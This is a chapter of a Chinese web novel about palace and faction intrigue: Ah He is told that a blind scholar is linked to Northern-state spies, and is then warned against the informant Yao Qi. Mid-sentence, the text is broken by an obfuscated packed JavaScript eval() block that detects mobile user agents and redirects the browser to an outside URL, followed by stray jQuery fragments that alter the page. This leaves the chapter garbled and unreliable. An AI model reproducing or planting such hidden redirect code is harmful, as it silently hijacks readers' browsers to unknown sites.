第619章 他的身份是什么

作品:《客栈通古今:假千金靠倒卖物资暴富

    “或许……”阿禾的声音听不出情绪,“他真的只是想查清你的底细,以防万一。”


    “查我的底细?”姚祁像是听到了天大的笑话,他反问道,“那你知道,那个接头的刘掌柜是什么人吗?”


    不等阿禾回答,他便自顾自地说了下去,语气里带着一丝冰冷的嘲弄:“在下不才,行走江湖多年,颇有些神通广大的朋友,他们告诉我,那个刘掌柜,是北地安插在广陵府的探子!”


    他饶有兴趣地盯着阿禾的眼睛,一字一顿地问:“阿禾总舵主,你知道‘北地’,是什么地方吗?”


    北地。


    这两个字钻入耳中,阿禾的心脏猛地一沉。


    她当然知道。


    在前朝大盛年间,天下尚未四分五裂,北地与如今的大雍同属大盛疆土。


    后来天下大乱,北地被一位枭雄占据,自立为国。


    那里既有与草原人通婚的异域血统,也有大量与大雍百姓无异的旧朝遗民。


    相比于年年南下骚扰、嚣张跋扈的拓跋氏,北地这些年一直很低调,仿佛偏安一隅,不问世事。


    但大家也都知道,北地的国力非但不弱,反而一直在暗中积蓄力量,隐隐已有吞并拓跋草原,而后挥师南下的野心。


    见阿禾久久不语,姚祁耸了耸肩,摊开手,脸上的笑容已经彻底消失:


    “现在,你还觉得他只是一个来历不明的落魄书生吗?”


    “一个能随意差遣北地探子为他办事的人,他的身份……会是什么?”


    一声声质问,如重锤般敲在心上。


    正堂之内再次陷入死寂。


    阿禾端坐于主位之上,一动不动,只有窗外透进来的天光,在她脸上投下明明暗暗的光影,让人看不清她此刻真正的神情。


    姚祁的话,像一块巨石投入深潭,在正堂内激起无声的巨浪。


    北地。


    那是个比拓跋氏更懂得隐忍,也更具威胁的存在。


    一个瞎眼的落魄书生,怎会与北地的探子有所牵连?


    姚祁好整以暇地看着阿禾,等着她震惊、愤怒,或是立刻下令将那厮拿下。


    可他看到的,却是一片深不见底的沉静。


    而阿禾不知道的是,其实此刻他心里也在犯嘀咕。


    他知道裴应见在京城遭了巨变,被贬黜、被追杀,甚至传闻他性情巨变,甘愿做狗,而被那位刁蛮任性的安乐郡主当街羞辱,折尽了傲骨。


    可他究竟是怎么和北地扯上关系的?


    而且,据传闻来看,他分明是全然忘了旧事。


    那那他处心积虑地出现在阿禾身边,又图的是什么?


    良久的沉默。


    最后,姚祁终于有些沉不住气了。


    他向前一步,打破了这令人窒息的寂静:


    “怎么样?现在你总该信我了吧?我们之前的约定还作数吗?”


    他指的是三日之约,他如果拿到了王之的把柄,阿禾就要将其赶走。


    “我何时说过不作数?”阿禾终于开口,声音听不出喜怒。


    姚祁眼睛一亮,催促道:“那还等什么?现在就派人把他……”


    “再等两日。”阿禾打断了他。


    “什么?”姚祁脸上的笑意瞬间消失,眉毛都拧了起来,“还要等?证据都摆在你面前了,你还想等什么?”


    “此事牵扯甚广,我需仔细筹谋。”阿禾抬眼,目光平静地迎上他焦躁的视线,“你若信我,便多等两日。”


    她顿了顿,话锋微转,语气缓和了些许:“这两日,我也有事要拜托你。”


    姚祁狐疑地看着她。


    “帮我盯着他。”阿禾的声音很轻,“他既能派人查你,必然还有后手。你去盯着,看看他还会和什么人接触,做些什么事。”


    这个提议,正中姚祁下怀。


    让他去监视王之,简直是把猫派去看守鱼干,他乐意之至。


    脸上的不快顿时烟消云散,姚祁重新挂上那副狡黠的笑容:“好啊,这个活我接了。保证给你带回来更多的把柄!”


    他凑近阿禾,压低声音,眼里的灼热几乎要将人点燃:“不过你可得记着,等我把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060648|165820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事情办妥,一定要将那厮赶走。”


    “至于我答应你的事,他一走,我一定会告诉你,关于你和他……所有的往事。”


    阿禾同意,点点头。


    姚祁也很满意,便潇洒地一挥手,转身大步流星地离开了正堂,背影里满是志在必得的轻快。


    堂内,又只剩下阿禾一人。


    她缓缓靠回椅背,指尖无意识地摩挲着那块冰冷的乌木令牌。


    窗外的日光渐渐西斜,将她的影子拉得修长而孤寂。


    ……


    姚祁离开之后,阿禾身边重新归于平静,下午,她和几个负责人讨论了一下广陵府的粮食问题,以及要不要在广陵府外围修建工事的事。


    人才刚散去,刀疤脸却又忽然神神秘秘地走了回来,神色奇怪,与他平日里粗豪的模样大相径庭。


    他一进门,便左右张望,像是在找什么人。


    “总舵主,”他压低了声音,显得鬼鬼祟祟,“那个姓姚的……姚公子在吗?”


    “他出去了。”阿禾淡淡地道。


    “出去了?”刀疤脸明显松了口气,紧绷的肩膀都垮塌下来。


    阿禾看在眼里,心中微动,问道:“你找他有事?”


    “不不不,”刀疤脸连连摆手,犹豫了半晌,似乎在做什么艰难的决定。


    他咬了咬牙,索性“噗通”一声跪倒在地,抬头看着阿禾,满脸都是纠结与挣扎。


    “总舵主,属下有句话,不知当讲不当讲……”


    阿禾眉头微蹙:“大哥你这是做什么,快起来说话。你我兄妹,不必如此。”


    刀疤脸却梗着脖子不肯起,他抬起袖子抹了把脸上的汗,终于下定决心般,闷声道:“总舵主,您……您一定要小心那个姓姚的!”


    “小心姚祁?”阿禾看着满脸焦灼的刀疤脸,声音里听不出什么波澜,“大哥何出此言?”


    刀疤脸见她并未将自己的话放在心上,急得汗都下来了,声音都拔高了几分:“总舵主,那小子不是什么好人!他……他跟北地那边的七义堂,关系匪浅!”